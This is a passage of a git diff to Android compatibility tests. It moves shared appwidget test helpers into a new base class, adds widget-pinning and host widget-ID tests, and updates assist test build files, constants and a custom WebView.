     private static final String GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND =
-            "appwidget grantbind --package android.cts.appwidget --user 0";
+            "appwidget grantbind --package android.appwidget.cts --user 0";
 
     private static final String REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND =
-            "appwidget revokebind --package android.cts.appwidget --user 0";
+            "appwidget revokebind --package android.appwidget.cts --user 0";
 
 
-    private boolean hasAppWidgets() {
-        return getInstrumentation().getTargetContext().getPackageManager()
-            .hasSystemFeature(PackageManager.FEATURE_APP_WIDGETS);
-    }
-
     public void testGetAppInstalledProvidersForCurrentUserLegacy() throws Exception {
         if (!hasAppWidgets()) {
             return;
@@ -191,6 +174,38 @@
         }
     }
 
+    public void testGetAppWidgetIdsForHost() throws Exception {
+        if (!hasAppWidgets()) {
+            return;
+        }
+        AppWidgetHost host1 = new AppWidgetHost(getInstrumentation().getTargetContext(), 1);
+        AppWidgetHost host2 = new AppWidgetHost(getInstrumentation().getTargetContext(), 2);
+
+        host1.deleteHost();
+        host2.deleteHost();
+
+        assertTrue(Arrays.equals(host1.getAppWidgetIds(), new int[]{}));
+        assertTrue(Arrays.equals(host2.getAppWidgetIds(), new int[]{}));
+
+        int id1 = host1.allocateAppWidgetId();
+        assertTrue(Arrays.equals(host1.getAppWidgetIds(), new int[]{id1}));
+        assertTrue(Arrays.equals(host2.getAppWidgetIds(), new int[]{}));
+
+        int id2 = host1.allocateAppWidgetId();
+        assertTrue(Arrays.equals(host1.getAppWidgetIds(), new int[]{id1, id2}));
+        assertTrue(Arrays.equals(host2.getAppWidgetIds(), new int[]{}));
+
+        int id3 = host2.allocateAppWidgetId();
+        assertTrue(Arrays.equals(host1.getAppWidgetIds(), new int[]{id1, id2}));
+        assertTrue(Arrays.equals(host2.getAppWidgetIds(), new int[]{id3}));
+
+        host1.deleteHost();
+        assertTrue(Arrays.equals(host1.getAppWidgetIds(), new int[]{}));
+        assertTrue(Arrays.equals(host2.getAppWidgetIds(), new int[]{id3}));
+
+        host2.deleteHost();
+    }
+
     public void testAppWidgetProviderCallbacks() throws Exception {
         if (!hasAppWidgets()) {
             return;
@@ -397,7 +412,7 @@
         }
     }
 
-    public void testGetAppWidgetIds() throws Exception {
+    public void testGetAppWidgetIdsForProvider() throws Exception {
         if (!hasAppWidgets()) {
             return;
         }
@@ -1313,117 +1328,25 @@
 
     @SuppressWarnings("deprecation")
     private void assertExpectedInstalledProviders(List<AppWidgetProviderInfo> providers) {
-        boolean firstProviderVerified = false;
-        boolean secondProviderVerified = false;
-
-        ComponentName firstComponentName = new ComponentName(
-                getInstrumentation().getTargetContext().getPackageName(),
-                FirstAppWidgetProvider.class.getName());
-
-        ComponentName secondComponentName = new ComponentName(
-                getInstrumentation().getTargetContext().getPackageName(),
-                SecondAppWidgetProvider.class.getName());
-
-        final int providerCount = providers.size();
-        for (int i = 0; i < providerCount; i++) {
-            AppWidgetProviderInfo provider = providers.get(i);
-
-            if (firstComponentName.equals(provider.provider)
-                    && android.os.Process.myUserHandle().equals(provider.getProfile())) {
-                assertEquals(getNormalizedDimensionResource(R.dimen.first_min_appwidget_size),
-                        provider.minWidth);
-                assertEquals(getNormalizedDimensionResource(R.dimen.first_min_appwidget_size),
-                        provider.minHeight);
-                assertEquals(getNormalizedDimensionResource(
-                        R.dimen.first_min_resize_appwidget_size), provider.minResizeWidth);
-                assertEquals(getNormalizedDimensionResource(
-                        R.dimen.first_min_resize_appwidget_size), provider.minResizeHeight);
-                assertEquals(getIntResource(R.integer.first_update_period_millis),
-                        provider.updatePeriodMillis);
-                assertEquals(getInstrumentation().getTargetContext().getPackageName(),
-                        provider.configure.getPackageName());
-                assertEquals(FIRST_APP_WIDGET_CONFIGURE_ACTIVITY,
-                        provider.configure.getClassName());
-                assertEquals(getIntResource(R.integer.first_resize_mode),
-                        provider.resizeMode);
-                assertEquals(getIntResource(R.integer.first_widget_category),
-                        provider.widgetCategory);
-                assertEquals(R.layout.first_initial_layout,
-                        provider.initialLayout);
-                assertEquals(R.layout.first_initial_keyguard_layout,
-                        provider.initialKeyguardLayout);
-                assertEquals(R.drawable.first_android_icon,
-                        provider.previewImage);
-                assertEquals(R.id.first_auto_advance_view_id,
-                        provider.autoAdvanceViewId);
-                firstProviderVerified = true;
-            } else if (secondComponentName.equals(provider.provider)
-                    && android.os.Process.myUserHandle().equals(provider.getProfile())) {
-                assertEquals(getNormalizedDimensionResource(R.dimen.second_min_appwidget_size),
-                        provider.minWidth);
-                assertEquals(getNormalizedDimensionResource(R.dimen.second_min_appwidget_size),
-                        provider.minHeight);
-                assertEquals(getNormalizedDimensionResource(
-                        R.dimen.second_min_resize_appwidget_size), provider.minResizeWidth);
-                assertEquals(getNormalizedDimensionResource(
-                        R.dimen.second_min_resize_appwidget_size), provider.minResizeHeight);
-                assertEquals(getIntResource(R.integer.second_update_period_millis),
-                        provider.updatePeriodMillis);
-                assertEquals(getInstrumentation().getTargetContext().getPackageName(),
-                        provider.configure.getPackageName());
-                assertEquals(SECOND_APP_WIDGET_CONFIGURE_ACTIVITY,
-                        provider.configure.getClassName());
-                assertEquals(getIntResource(R.integer.second_resize_mode),
-                        provider.resizeMode);
-                assertEquals(getIntResource(R.integer.second_widget_category),
-                        provider.widgetCategory);
-                assertEquals(R.layout.second_initial_layout,
-                        provider.initialLayout);
-                assertEquals(R.layout.second_initial_keyguard_layout,
-                        provider.initialKeyguardLayout);
-                assertEquals(R.drawable.second_android_icon,
-                        provider.previewImage);
-                assertEquals(R.id.second_auto_advance_view_id,
-                        provider.autoAdvanceViewId);
-                secondProviderVerified = true;
-            }
-        }
-
-        assertTrue(firstProviderVerified && secondProviderVerified);
+        boolean[] verifiedWidgets = verifyInstalledProviders(providers);
+        assertTrue(verifiedWidgets[0]);
+        assertTrue(verifiedWidgets[1]);
     }
 
-    private void grantBindAppWidgetPermission() {
-        executeShellCommandIgnoreOutput(GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND);
+    private void grantBindAppWidgetPermission() throws Exception {
+        runShellCommand(GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND);
     }
 
-    private void revokeBindAppWidgetPermission() {
-        executeShellCommandIgnoreOutput(REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND);
-    }
-
-    private void executeShellCommandIgnoreOutput(String command) {
-        ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
-                .executeShellCommand(command);
-        try {
-            Streams.readFully(new FileInputStream(pfd.getFileDescriptor()));
-        } catch (IOException ioe) {
-            IoUtils.closeQuietly(pfd);
-        }
+    private void revokeBindAppWidgetPermission() throws Exception {
+        runShellCommand(REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND);
     }
 
     private AppWidgetProviderInfo getFirstAppWidgetProviderInfo() {
-        ComponentName firstComponentName = new ComponentName(
-                getInstrumentation().getTargetContext().getPackageName(),
-                FirstAppWidgetProvider.class.getName());
-
-        return getProviderInfo(firstComponentName);
+        return getProviderInfo(getFirstWidgetComponent());
     }
 
     private AppWidgetProviderInfo getSecondAppWidgetProviderInfo() {
-        ComponentName secondComponentName = new ComponentName(
-                getInstrumentation().getTargetContext().getPackageName(),
-                SecondAppWidgetProvider.class.getName());
-
-        return getProviderInfo(secondComponentName);
+        return getProviderInfo(getSecondWidgetComponent());
     }
 
     private AppWidgetProviderInfo getProviderInfo(ComponentName componentName) {
@@ -1442,15 +1365,6 @@
         return null;
     }
 
-    private int getNormalizedDimensionResource(int resId) {
-        return getInstrumentation().getTargetContext().getResources()
-                .getDimensionPixelSize(resId);
-    }
-
-    private int getIntResource(int resId) {
-        return getInstrumentation().getTargetContext().getResources().getInteger(resId);
-    }
-
     private AppWidgetManager getAppWidgetManager() {
         return (AppWidgetManager) getInstrumentation().getTargetContext()
                 .getSystemService(Context.APPWIDGET_SERVICE);
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java
new file mode 100644
index 0000000..fb0dbd1
--- /dev/null
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java
@@ -0,0 +1,155 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appwidget.cts;
+
+import android.appwidget.AppWidgetProviderInfo;
+import android.appwidget.cts.provider.FirstAppWidgetProvider;
+import android.appwidget.cts.provider.SecondAppWidgetProvider;
+import android.content.ComponentName;
+import android.content.pm.PackageManager;
+import android.os.ParcelFileDescriptor;
+import android.test.InstrumentationTestCase;
+
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.util.ArrayList;
+import java.util.List;
+
+public abstract class AppWidgetTestCase extends InstrumentationTestCase {
+    private static final String FIRST_APP_WIDGET_CONFIGURE_ACTIVITY =
+            "android.appwidget.cts.provider.FirstAppWidgetConfigureActivity";
+
+    private static final String SECOND_APP_WIDGET_CONFIGURE_ACTIVITY =
+            "android.appwidget.cts.provider.SecondAppWidgetConfigureActivity";
+
+    public boolean hasAppWidgets() {
+        return getInstrumentation().getTargetContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_APP_WIDGETS);
+    }
+
+    public boolean[] verifyInstalledProviders(List<AppWidgetProviderInfo> providers) {
+        boolean firstProviderVerified = false;
+        boolean secondProviderVerified = false;
+
+        ComponentName firstComponentName = getFirstWidgetComponent();
+        ComponentName secondComponentName = getSecondWidgetComponent();
+
+        final int providerCount = providers.size();
+        for (int i = 0; i < providerCount; i++) {
+            AppWidgetProviderInfo provider = providers.get(i);
+
+            if (firstComponentName.equals(provider.provider)
+                    && android.os.Process.myUserHandle().equals(provider.getProfile())) {
+                assertEquals(getNormalizedDimensionResource(android.appwidget.cts.R.dimen.first_min_appwidget_size),
+                        provider.minWidth);
+                assertEquals(getNormalizedDimensionResource(android.appwidget.cts.R.dimen.first_min_appwidget_size),
+                        provider.minHeight);
+                assertEquals(getNormalizedDimensionResource(
+                        android.appwidget.cts.R.dimen.first_min_resize_appwidget_size), provider.minResizeWidth);
+                assertEquals(getNormalizedDimensionResource(
+                        android.appwidget.cts.R.dimen.first_min_resize_appwidget_size), provider.minResizeHeight);
+                assertEquals(getIntResource(android.appwidget.cts.R.integer.first_update_period_millis),
+                        provider.updatePeriodMillis);
+                assertEquals(getInstrumentation().getTargetContext().getPackageName(),
+                        provider.configure.getPackageName());
+                assertEquals(FIRST_APP_WIDGET_CONFIGURE_ACTIVITY,
+                        provider.configure.getClassName());
+                assertEquals(getIntResource(android.appwidget.cts.R.integer.first_resize_mode),
+                        provider.resizeMode);
+                assertEquals(getIntResource(android.appwidget.cts.R.integer.first_widget_category),
+                        provider.widgetCategory);
+                assertEquals(android.appwidget.cts.R.layout.first_initial_layout,
+                        provider.initialLayout);
+                assertEquals(android.appwidget.cts.R.layout.first_initial_keyguard_layout,
+                        provider.initialKeyguardLayout);
+                assertEquals(android.appwidget.cts.R.drawable.first_android_icon,
+                        provider.previewImage);
+                assertEquals(android.appwidget.cts.R.id.first_auto_advance_view_id,
+                        provider.autoAdvanceViewId);
+                firstProviderVerified = true;
+            } else if (secondComponentName.equals(provider.provider)
+                    && android.os.Process.myUserHandle().equals(provider.getProfile())) {
+                assertEquals(getNormalizedDimensionResource(android.appwidget.cts.R.dimen.second_min_appwidget_size),
+                        provider.minWidth);
+                assertEquals(getNormalizedDimensionResource(android.appwidget.cts.R.dimen.second_min_appwidget_size),
+                        provider.minHeight);
+                assertEquals(getNormalizedDimensionResource(
+                        android.appwidget.cts.R.dimen.second_min_resize_appwidget_size), provider.minResizeWidth);
+                assertEquals(getNormalizedDimensionResource(
+                        android.appwidget.cts.R.dimen.second_min_resize_appwidget_size), provider.minResizeHeight);
+                assertEquals(getIntResource(android.appwidget.cts.R.integer.second_update_period_millis),
+                        provider.updatePeriodMillis);
+                assertEquals(getInstrumentation().getTargetContext().getPackageName(),
+                        provider.configure.getPackageName());
+                assertEquals(SECOND_APP_WIDGET_CONFIGURE_ACTIVITY,
+                        provider.configure.getClassName());
+                assertEquals(getIntResource(android.appwidget.cts.R.integer.second_resize_mode),
+                        provider.resizeMode);
+                assertEquals(getIntResource(android.appwidget.cts.R.integer.second_widget_category),
+                        provider.widgetCategory);
+                assertEquals(android.appwidget.cts.R.layout.second_initial_layout,
+                        provider.initialLayout);
+                assertEquals(android.appwidget.cts.R.layout.second_initial_keyguard_layout,
+                        provider.initialKeyguardLayout);
+                assertEquals(android.appwidget.cts.R.drawable.second_android_icon,
+                        provider.previewImage);
+                assertEquals(android.appwidget.cts.R.id.second_auto_advance_view_id,
+                        provider.autoAdvanceViewId);
+                secondProviderVerified = true;
+            }
+        }
+
+        return new boolean[]{firstProviderVerified, secondProviderVerified};
+    }
+
+    private int getNormalizedDimensionResource(int resId) {
+        return getInstrumentation().getTargetContext().getResources()
+                .getDimensionPixelSize(resId);
+    }
+
+    private int getIntResource(int resId) {
+        return getInstrumentation().getTargetContext().getResources().getInteger(resId);
+    }
+
+    public ComponentName getFirstWidgetComponent() {
+        return new ComponentName(
+                getInstrumentation().getTargetContext().getPackageName(),
+                FirstAppWidgetProvider.class.getName());
+    }
+
+    public ComponentName getSecondWidgetComponent() {
+        return new ComponentName(
+                getInstrumentation().getTargetContext().getPackageName(),
+                SecondAppWidgetProvider.class.getName());
+    }
+
+    public ArrayList<String> runShellCommand(String command) throws Exception {
+        ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
+                .executeShellCommand(command);
+
+        ArrayList<String> ret = new ArrayList<>();
+        // Read the input stream fully.
+        try (BufferedReader r = new BufferedReader(
+                new InputStreamReader(new ParcelFileDescriptor.AutoCloseInputStream(pfd)))) {
+            String line;
+            while ((line = r.readLine()) != null) {
+                ret.add(line);
+            }
+        }
+        return ret;
+    }
+}
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
new file mode 100644
index 0000000..019fb66
--- /dev/null
+++ b/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appwidget.cts;
+
+import android.app.PendingIntent;
+import android.appwidget.AppWidgetManager;
+import android.appwidget.cts.common.Constants;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.LauncherApps;
+import android.os.Bundle;
+import android.os.Handler;
+
+import java.util.Arrays;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class RequestPinAppWidgetTest extends AppWidgetTestCase {
+
+    private static final String LAUNCHER_CLASS = "android.appwidget.cts.packages.Launcher";
+    private static final String ACTION_PIN_RESULT = "android.appwidget.cts.ACTION_PIN_RESULT";
+
+    private String mDefaultLauncher;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mDefaultLauncher = getDefaultLauncher();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        // Set the launcher back
+        setLauncher(mDefaultLauncher);
+    }
+
+    private void runPinWidgetTest(final String launcherPkg) throws Exception {
+        if (!hasAppWidgets()) {
+            return;
+        }
+        setLauncher(launcherPkg + "/" + LAUNCHER_CLASS);
+
+        Context context = getInstrumentation().getContext();
+
+        // Request to pin widget
+        BlockingReceiver setupReceiver = new BlockingReceiver()
+                .register(Constants.ACTION_SETUP_REPLY);
+
+        Bundle extras = new Bundle();
+        extras.putString("dummy", launcherPkg + "-dummy");
+
+        PendingIntent pinResult = PendingIntent.getBroadcast(context, 0,
+                new Intent(ACTION_PIN_RESULT), PendingIntent.FLAG_ONE_SHOT);
+        AppWidgetManager.getInstance(context).requestPinAppWidget(
+                getFirstWidgetComponent(), extras, pinResult);
+
+        setupReceiver.await();
+        // Verify that the confirmation dialog was opened
+        assertTrue(setupReceiver.mResult.getBooleanExtra(Constants.EXTRA_SUCCESS, false));
+        assertEquals(launcherPkg, setupReceiver.mResult.getStringExtra(Constants.EXTRA_PACKAGE));
+        setupReceiver.unregister();
+
+        LauncherApps.PinItemRequest req =
+                setupReceiver.mResult.getParcelableExtra(Constants.EXTRA_REQUEST);
+        assertNotNull(req);
+        // Verify that multiple calls to getAppWidgetProviderInfo have proper dimension.
+        boolean[] providerInfo = verifyInstalledProviders(Arrays.asList(
+                req.getAppWidgetProviderInfo(context), req.getAppWidgetProviderInfo(context)));
+        assertTrue(providerInfo[0]);
+        assertNotNull(req.getExtras());
+        assertEquals(launcherPkg + "-dummy", req.getExtras().getString("dummy"));
+
+        // Accept the request
+        BlockingReceiver resultReceiver = new BlockingReceiver().register(ACTION_PIN_RESULT);
+        context.sendBroadcast(new Intent(Constants.ACTION_CONFIRM_PIN)
+                .setPackage(launcherPkg)
+                .putExtra("dummy", "dummy-2"));
+        resultReceiver.await();
+
+        // Verify that the result contain the extras
+        assertEquals("dummy-2", resultReceiver.mResult.getStringExtra("dummy"));
+        resultReceiver.unregister();
+    }
+
+    public void testPinWidget_launcher1() throws Exception {
+        runPinWidgetTest("android.appwidget.cts.packages.launcher1");
+    }
+
+    public void testPinWidget_launcher2() throws Exception {
+        runPinWidgetTest("android.appwidget.cts.packages.launcher2");
+    }
+
+    public void verifyIsRequestPinAppWidgetSupported(String launcherPkg, boolean expectedSupport)
+        throws Exception {
+        if (!hasAppWidgets()) {
+            return;
+        }
+        setLauncher(launcherPkg + "/" + LAUNCHER_CLASS);
+
+        Context context = getInstrumentation().getContext();
+        assertEquals(expectedSupport,
+                AppWidgetManager.getInstance(context).isRequestPinAppWidgetSupported());
+    }
+
+    public void testIsRequestPinAppWidgetSupported_launcher1() throws Exception {
+        verifyIsRequestPinAppWidgetSupported("android.appwidget.cts.packages.launcher1", true);
+    }
+
+    public void testIsRequestPinAppWidgetSupported_launcher2() throws Exception {
+        verifyIsRequestPinAppWidgetSupported("android.appwidget.cts.packages.launcher2", true);
+    }
+
+    public void testIsRequestPinAppWidgetSupported_launcher3() throws Exception {
+        verifyIsRequestPinAppWidgetSupported("android.appwidget.cts.packages.launcher3", false);
+    }
+
+    private String getDefaultLauncher() throws Exception {
+        final String PREFIX = "Launcher: ComponentInfo{";
+        final String POSTFIX = "}";
+        for (String s : runShellCommand("cmd shortcut get-default-launcher")) {
+            if (s.startsWith(PREFIX) && s.endsWith(POSTFIX)) {
+                return s.substring(PREFIX.length(), s.length() - POSTFIX.length());
+            }
+        }
+        throw new Exception("Default launcher not found");
+    }
+
+    private void setLauncher(String component) throws Exception {
+        runShellCommand("cmd package set-home-activity --user "
+                + getInstrumentation().getContext().getUserId() + " " + component);
+    }
+
+    private class BlockingReceiver extends BroadcastReceiver {
+        private final CountDownLatch notifier = new CountDownLatch(1);
+
+        private Intent mResult;
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mResult = new Intent(intent);
+            notifier.countDown();
+        }
+
+        public BlockingReceiver register(String action) {
+            Context context = getInstrumentation().getContext();
+            context.registerReceiver(this, new IntentFilter(action),
+                    null, new Handler(context.getMainLooper()));
+            return this;
+        }
+
+        public void await() throws Exception {
+            assertTrue(notifier.await(20, TimeUnit.SECONDS));
+        }
+
+        public void unregister() {
+            getInstrumentation().getContext().unregisterReceiver(this);
+        }
+    }
+}
diff --git a/tests/tests/assist/Android.mk b/tests/tests/assist/Android.mk
index 61379c5..9b7d774 100644
--- a/tests/tests/assist/Android.mk
+++ b/tests/tests/assist/Android.mk
@@ -24,7 +24,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/assist/AndroidTest.xml b/tests/tests/assist/AndroidTest.xml
index f1af0c4..d8f31e7 100644
--- a/tests/tests/assist/AndroidTest.xml
+++ b/tests/tests/assist/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Assist test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAssistService.apk" />
         <option name="test-file-name" value="CtsAssistApp.apk" />
@@ -25,5 +26,6 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.assist.cts" />
+        <option name="runtime-hint" value="12m30s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/assist/common/src/android/assist/common/MyWebView.java b/tests/tests/assist/common/src/android/assist/common/MyWebView.java
new file mode 100644
index 0000000..b56fb65
--- /dev/null
+++ b/tests/tests/assist/common/src/android/assist/common/MyWebView.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.assist.common;
+
+import android.content.Context;
+import android.os.LocaleList;
+import android.util.AttributeSet;
+import android.view.ViewStructure;
+import android.webkit.WebView;
+
+/**
+ * Custom webview to emulate behavior that is required on test cases.
+ */
+public final class MyWebView extends WebView {
+
+    private String mUrl;
+    private LocaleList mLocaleList;
+
+    public MyWebView(Context context, AttributeSet attrs) {
+        super(context, attrs);
+    }
+
+    /**
+     * Same as {@link #loadData(String, String, String)}, but setting the URL in the view structure.
+     */
+    public void myLoadData(String url, String data, String mimeType, String encoding) {
+        mUrl = url;
+        super.loadData(data, mimeType, encoding);
+    }
+
+    public void setLocaleList(LocaleList localeList) {
+        this.mLocaleList = localeList;
+    }
+
+    public LocaleList getLocaleList() {
+        return mLocaleList;
+    }
+
+    @Override
+    public void onProvideStructure(ViewStructure structure) {
+        super.onProvideStructure(structure);
+
+        onProvideStructureForAssistOrAutofill(structure);
+    }
+
+    @Override
+    public void onProvideAutofillStructure(ViewStructure structure, int flags) {
+        super.onProvideAutofillStructure(structure, flags);
+
+        onProvideStructureForAssistOrAutofill(structure);
+    }
+
+    private void onProvideStructureForAssistOrAutofill(ViewStructure structure) {
+        if (mUrl != null) {
+            structure.setWebDomain(mUrl);
+        }
+        if (mLocaleList != null) {
+            structure.setLocaleList(mLocaleList);
+        }
+    }
+}
diff --git a/tests/tests/assist/common/src/android/assist/common/Utils.java b/tests/tests/assist/common/src/android/assist/common/Utils.java
index 3f98cb3..a41b507 100755
--- a/tests/tests/assist/common/src/android/assist/common/Utils.java
+++ b/tests/tests/assist/common/src/android/assist/common/Utils.java
@@ -15,13 +15,14 @@
  */
 package android.assist.common;
 
-import android.R;
 import android.content.ComponentName;
 import android.os.Bundle;
+import android.os.LocaleList;
 
-import org.json.JSONException;
 import org.json.JSONObject;
+
 import java.util.ArrayList;
+import java.util.Locale;
 
 public class Utils {
     public static final String TESTCASE_TYPE = "testcase_type";
@@ -53,6 +54,8 @@
     /** Lifecycle Test intent constants */
     public static final String LIFECYCLE_PREFIX = ACTION_PREFIX + "lifecycle_";
     public static final String LIFECYCLE_HASRESUMED = LIFECYCLE_PREFIX + "hasResumed";
+    public static final String LIFECYCLE_HASFOCUS = LIFECYCLE_PREFIX + "hasFocus";
+    public static final String LIFECYCLE_LOSTFOCUS = LIFECYCLE_PREFIX + "lostFocus";
     public static final String LIFECYCLE_ONPAUSE = LIFECYCLE_PREFIX + "onpause";
     public static final String LIFECYCLE_ONSTOP = LIFECYCLE_PREFIX + "onstop";
     public static final String LIFECYCLE_ONDESTROY = LIFECYCLE_PREFIX + "ondestroy";
@@ -84,6 +87,7 @@
     public static final String DISABLE_CONTEXT = "DISABLE_CONTEXT";
     public static final String FLAG_SECURE = "FLAG_SECURE";
     public static final String LIFECYCLE = "LIFECYCLE";
+    public static final String LIFECYCLE_NOUI = "LIFECYCLE_NOUI";
     public static final String SCREENSHOT = "SCREENSHOT";
     public static final String EXTRA_ASSIST = "EXTRA_ASSIST";
     public static final String VERIFY_CONTENT_VIEW = "VERIFY_CONTENT_VIEW";
@@ -95,7 +99,15 @@
     /** Session intent constants */
     public static final String HIDE_SESSION = "android.intent.action.hide_session";
 
+    /** Lifecycle activity intent constants */
+    /** Session intent constants */
+    public static final String HIDE_LIFECYCLE_ACTIVITY
+            = "android.intent.action.hide_lifecycle_activity";
+
     /** Stub html view to load into WebView */
+    public static final String WEBVIEW_HTML_URL = "http://dev.null/thou/should?not=pass";
+    public static final String WEBVIEW_HTML_DOMAIN = "dev.null";
+    public static final LocaleList WEBVIEW_LOCALE_LIST = new LocaleList(Locale.ROOT, Locale.US);
     public static final String WEBVIEW_HTML_GREETING = "Hello WebView!";
     public static final String WEBVIEW_HTML = "<html><body><div><p>" + WEBVIEW_HTML_GREETING
             + "</p></div></body></html>";
@@ -148,6 +160,7 @@
             case ASSIST_STRUCTURE:
             case FLAG_SECURE:
             case LIFECYCLE:
+            case LIFECYCLE_NOUI:
             case SCREENSHOT:
             case EXTRA_ASSIST:
             case VERIFY_CONTENT_VIEW:
@@ -177,6 +190,7 @@
                 return new ComponentName(
                         "android.assist.testapp", "android.assist.testapp.SecureActivity");
             case LIFECYCLE:
+            case LIFECYCLE_NOUI:
                 return new ComponentName(
                         "android.assist.testapp", "android.assist.testapp.LifecycleActivity");
             case SCREENSHOT:
diff --git a/tests/tests/assist/res/layout/webview.xml b/tests/tests/assist/res/layout/webview.xml
index bdb8082..ccd5e73 100644
--- a/tests/tests/assist/res/layout/webview.xml
+++ b/tests/tests/assist/res/layout/webview.xml
@@ -17,9 +17,9 @@
     android:layout_width="match_parent"
     android:layout_height="match_parent"
     android:orientation="vertical">
-    <WebView
+    <android.assist.common.MyWebView
         android:id="@+id/webview"
         android:layout_width="match_parent"
         android:layout_height="match_parent">
-    </WebView>
+    </android.assist.common.MyWebView>
 </LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/assist/service/Android.mk b/tests/tests/assist/service/Android.mk
index 2f72853..9b9ed84 100644
--- a/tests/tests/assist/service/Android.mk
+++ b/tests/tests/assist/service/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/assist/service/AndroidManifest.xml b/tests/tests/assist/service/AndroidManifest.xml
index 354d771..6f01d3d 100644
--- a/tests/tests/assist/service/AndroidManifest.xml
+++ b/tests/tests/assist/service/AndroidManifest.xml
@@ -44,6 +44,7 @@
           <intent-filter>
               <action android:name="android.intent.action.START_TEST_ASSIST_STRUCTURE" />
               <action android:name="android.intent.action.START_TEST_LIFECYCLE" />
+              <action android:name="android.intent.action.START_TEST_LIFECYCLE_NOUI" />
               <action android:name="android.intent.action.START_TEST_FLAG_SECURE" />
               <action android:name="android.intent.action.START_TEST_SCREENSHOT" />
               <action android:name="android.intent.action.START_TEST_EXTRA_ASSIST" />
diff --git a/tests/tests/assist/service/src/android/voiceinteraction/service/MainInteractionService.java b/tests/tests/assist/service/src/android/voiceinteraction/service/MainInteractionService.java
index 916d676..708cf9a 100644
--- a/tests/tests/assist/service/src/android/voiceinteraction/service/MainInteractionService.java
+++ b/tests/tests/assist/service/src/android/voiceinteraction/service/MainInteractionService.java
@@ -43,8 +43,15 @@
     private CountDownLatch mResumeLatch;
 
     @Override
+    public void onCreate() {
+        super.onCreate();
+        Log.i(TAG, "onCreate received");
+    }
+
+    @Override
     public void onReady() {
         super.onReady();
+        Log.i(TAG, "onReady received");
         mReady = true;
     }
 
diff --git a/tests/tests/assist/service/src/android/voiceinteraction/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/voiceinteraction/service/MainInteractionSession.java
index 7bca9be..28c8ada 100644
--- a/tests/tests/assist/service/src/android/voiceinteraction/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/voiceinteraction/service/MainInteractionSession.java
@@ -92,6 +92,15 @@
     }
 
     @Override
+    public void onPrepareShow(Bundle args, int showFlags) {
